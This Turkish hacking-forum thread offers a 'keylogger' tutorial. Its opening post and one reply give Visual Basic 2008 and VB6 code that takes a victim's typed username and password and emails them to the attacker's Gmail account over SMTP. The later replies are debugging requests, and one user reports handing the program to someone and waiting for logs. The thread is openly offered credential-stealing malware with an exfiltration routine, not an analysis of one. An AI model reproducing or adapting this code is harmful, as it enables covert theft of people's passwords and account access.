Visual Basic 2008 Keylogger Yapımı

C

CryptoFunk

Üye
3 Eki 2010
105
0
Ankara
İlk önce hepinize merhaba demek istiyorum, bu dersimi win7 kullanan ama visual basic 6 da keylogger yaparken hata alan arkadaşlar için yayınlıyorum ( benim gibi, tam benim dersim değil ama kodları temize geçtim :) )
Video
PHP: 
        Dim mail As New MailMessage()
        Dim SmtpServer As New SmtpClient
        SmtpServer.Credentials = New Net.NetworkCredential("[email protected]", "gmail şifre")
        SmtpServer.Port = 587
        SmtpServer.Host = "Smtp.Gmail.com"
        SmtpServer.EnableSsl = True
        SmtpServer.EnableSsl = True
        mail.To.Add("şifrenin gideceği mail adresi.com")
        mail.From = New MailAddress("[email protected]")
        mail.Subject = "Keylogged"
        mail.Body = TextBox1.Text & TextBox2.Text
        SmtpServer.Send(mail)
o videodaki formun üstünde yer alan kodu yapmadım siz yazın onu :)
ama size kullanıcı adı ve şifre dşifre olarak gelecektir, siz label oluşturun adı kullanıcı adı:ad olsun şöyle bi kod yazıcaz buna (label1.text + textbox1.text) :) artık kullanıcı adı:textbox1.text gelecektir :)
Not:Visual Basic 6 ' yı Bırakmadım Sadece Keyloggeri Bunda Yaptım :) ( Mecburen :) )
yorumlarınızı ve teşekkürlerinizi bekliyorum :)
 
Son düzenleme:
2

2626

Üye
13 Eyl 2009
181
0
Bende yeni başlıyorum belki işime yarar sağol (Vb 6 kullanıyorum yardım edebilirsiniz :) ) ]
 
C

CryptoFunk

Üye
3 Eki 2010
105
0
Ankara
Buyrun Buda Visual Baic 6 İçin Olan Kod :) Ama Önce İki Text ve Bir Buton Oluşturun Bunu Butona Yazın :) Ha Şifre E-Mailine Kullanıcıadışifre Şeklinde Gelecektir Yani Başında Kullanıcı Adı:Yazdığı Ad Şeklinde Gelcektir , Sen Form Dışına 2 Label Koy ve Label Adını Kullanıcı Adı Yapın .HTMLbOdy = Text1.Text Yerini .HTMLbOdy = Label1.Caption + Text1.Text Yaparsan Kullanıcı Adı:Ad Şeklinde Gelecektir, Şifreyide Bu Yolla Yaparsan Olacaktır :)
Dim iMsg, iConf, Flds

Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields

schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = "smtp.gmail.com"
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = "buraya gmail [email protected]"
Flds.Item(schema & "sendusername") = "gmail şifresi yaz"
Flds.Update
With iMsg
.To = "şifre gelecek kiş[email protected]"
.From = "Turkey"
.Subject = "Keylogger"
.HTMLbOdy = Text1.Text & Text2.Text
.Organization = "Mail Organtion"
.ReplyTo = "-"
Set .Configurat = .Send
End With
Genişletmek için tıkla ...
Ama Visual Basic 6 İçin Olan Kod Bende Çalışmıyor. ( Merak Etmeyin Sorun Bende :) )
İşinize Yaradıysa Bir Teşekkürü Hak Ettim Sanırım :)
 
Son düzenleme:
D

Drealadin

Yeni üye
2 Eyl 2011
40
0
onun win7 uyum sorunu yokmu ya 2008de uyum sorunu filan yok gayet güzel çalışıyoda böyle giderse xpye geri döncem win 7 kadar problemli şey görmedim
 
L

lorenss

Üye
6 Ağu 2011
109
0
Aydın
Video sana ait değil.
Kodları videodan baka baka türkçeleştirip buraya aktarmışsın.
bunu bizde yapabiliriz..
 
N

NumLoock

Katılımcı Üye
23 Ağu 2011
361
0
Keygen
bn bu videodakini harfi harfine yaptım dha sonra ne yapcam dier kişiye mi göndercem ne yapcam bilmiom
 
I

izmirliAsTeRiX

Yeni üye
4 Eyl 2011
24
0
her ne kadar visual basic 2008 kullanmasamda ellerine saglık :) gerci ben visual basic 6 da yapamadm keyloggeri adama verdim yedi bana log gelmio :)
 
E

emrullah06

Üye
17 Kas 2009
63
0
ankara
Bişey soracam vb2008 kullanıyorum win7 işletim sistemim.Kodu yazıp debug yaptıgımda SmtpServer.Send(mail) posta gönderme hatası veriyor ve sarı şekilde seçili hale geliyor yardım edebilirmisin
 
E

emrullah06

Üye
17 Kas 2009
63
0
ankara
Kod: 
SmtpServer.Send(mail)
Bu satır hata veriyor yani debug yapınca butona tıklıyorum hata veriyor asrı yanıyor.Visual basic 2008 express edition kullanıyorum yardım edermisin?
 
Cevap yazmak için giriş yap yada kayıt ol.
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.